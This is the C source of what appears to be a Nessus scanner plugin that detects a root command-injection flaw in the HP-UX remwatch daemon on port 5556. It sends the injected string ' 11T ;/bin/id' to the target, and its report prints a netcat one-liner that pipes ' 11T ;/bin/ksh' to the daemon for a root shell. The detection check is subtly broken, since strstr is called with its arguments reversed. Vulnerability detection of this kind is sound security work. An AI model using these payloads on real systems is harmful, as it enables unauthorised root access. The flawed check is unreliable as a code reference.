/*
 * 
 * remwatch
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>   
      
#define NAME "remwatch"
#define DESC "\
Some versions of the 'remwatch' daemon allow may\n\
spawn a shell with the root priviledges if the \n\
string '11T ;/bin/ksh' is entered\n\n\
Risk factor : High"
#define COPYRIGHT "no copyright"
#define SUMM "remwatch exploit (hpux)"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "Gain root remotely");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	int soc;
	char * buffer;
	
	
	if(host_get_port_state(args, 5556)<=0)return(0);
	
	
	soc = open_sock_tcp(args, 5556);
	if(soc<0)return(0);
	
	buffer = emalloc(512);
	sprintf(buffer, " 11T ;/bin/id\n");
	send(soc, buffer, strlen(buffer),0);
	recv(soc, buffer, 511,0);
	if(strstr("uid=", buffer))
	{
		char * result;
		result = emalloc(1024);
		sprintf(result, 
"The remwatch daemon is present and exploitable\n You may gain a shell easily by sending\
the command :\n echo ' 11T ;/bin/ksh' | nc %s 5556\nremwatch is running as %s",
		plug_get_hostname(args), buffer);
		
		efree(&buffer);
		post_hole(args, 5556, result);
		efree(&result);
		socket_close(soc);
		return(0);
	}
	socket_close(soc);
	efree(&buffer);return(0);
}

